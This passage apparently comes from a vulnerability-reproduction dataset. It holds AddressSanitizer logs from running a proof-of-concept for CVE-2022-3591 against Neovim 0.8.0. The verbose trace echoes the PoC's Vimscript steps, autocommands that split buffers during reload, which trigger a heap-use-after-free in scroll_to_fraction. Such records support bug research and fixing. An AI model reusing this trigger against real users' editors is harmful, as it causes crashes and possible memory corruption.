/home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #29 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6093:39 in scroll_to_fraction\nShadow bytes around the buggy address:\n  0x0c4e7fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4e7fff8e20: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==4597==ABORTING\n\n\n\nCommand:\n./nvim-0.8.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: func Test_autocmd_split_dummy()\n\nline 19: \n\nline 20: call Test_autocmd_split_dummy()\n\ncalling Test_autocmd_split_dummy()\n\nline 1:   auto BufReadPre * exe \"sbuf \" .. expand(\"\") \n\nline 2:   au FileChangedShell * let v:fcs_choice = 'reload'\n\nline 3:   func Xautocmd_changelist()\n\nline 8:   call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n\nline 2: unlet! b:keymap_name\n\nline 3:     lex 'Xtestfile2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in Test_autocmd_split_dummy\n\nline 9:   call assert_fails('call Xautocmd_changelist()', 'E86:')\n\nline 9: call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 3\n\nExecuting FileChangedShell Autocommands for \"*\"\nautocommand let v:fcs_choice = 'reload'\n\nExecuting: let v:fcs_choice = 'reload'\n\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n=================================================================\n==4689==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000007108 at pc 0x0000012539d8 bp 0x7fff652f48d0 sp 0x7fff652f48c8\nREAD of size 4 at 0x627000007108 thread T0\n    #0 0x12539d7 in scroll_to_fraction /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6086:39\n    #1 0x122b702 in win_set_inner_size /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6206:7\n    #2 0x1237e9a in win_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6067:3\n    #3 0x12399b3 in frame_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3374:5\n    #4 0x123e0ec in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2104:7\n    #5 0x123faee in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2354:9\n    #6 0x1221f49 in win_equal /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2066:3\n    #7 0x1235a5c in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1489:5\n    #8 0x121b779 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1017:10\n    #9 0x6b70e1 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1412:9\n    #10 0x6b487f in goto_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:868:9\n    #11 0x9b0647 in ex_buffer /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4271:7\n    #12 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x815364 in ex_execute /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:7718:7\n    #16 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x69e696 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1865:5\n    #20 0x6a2137 in apply_autocmds_exarg /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1549:10\n    #21 0xa2b24c in readfile /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:617:7\n    #22 0xa47f68 in buf_reload /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:5038:9\n    #23 0xa470f0 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4952:5\n    #24 0x959873 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2446:13\n    #25 0x9ab425 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #26 0x9b07d8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #27 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #30 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #31 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #32 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #33 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #34 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #35 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #36 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #37 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #38 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #39 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #40 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #41 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #42 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #43 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #44 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #45 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #46 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #47 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #48 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #49 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #50 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #51 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #52 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #53 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #54 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #55 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #56 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #57 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #58 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #59 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #60 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #61 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #62 0xb8b4f0 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #63 0xb80c42 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #64 0x7ff0c3858082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #65 0x466f9d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x466f9d)\n\n0x627000007108 is located 8 bytes inside of 12320-byte region [0x627000007100,0x62700000a120)\nfreed by thread T0 here:\n    #0 0x4df45d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df45d)\n    #1 0xc69634 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:128:3\n    #2 0x6b3a34 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:811:5\n    #3 0x6af391 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:642:5\n    #4 0x6ce29c in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4192:3\n    #5 0x6ce15c in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4175:5\n    #6 0xa45fee in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x959873 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2446:13\n    #8 0x9ab425 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #9 0x9b07d8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #10 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #12 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #13 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #14 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #15 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #16 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #17 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #18 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #23 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #24 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #25 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #26 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #27 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n\npreviously allocated by thread T0 here:\n    #0 0x4df852 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df852)\n    #1 0xc696ce in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:142:15\n    #2 0x6b8629 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1775:11\n    #3 0x6cdd52 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4141:19\n    #4 0xa45fee in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x959873 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2446:13\n    #6 0x9ab425 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #7 0x9b07d8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #8 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #12 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #13 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #14 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #15 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #16 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #20 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #21 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #22 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #23 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #24 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #25 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #29 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6086:39 in scroll_to_fraction\nShadow bytes around the buggy address:\n  0x0c4e7fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4e7fff8e20: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==4689==ABORTING", "creation_timestamp": "2026-09-21T03:36:10.922247Z"}]}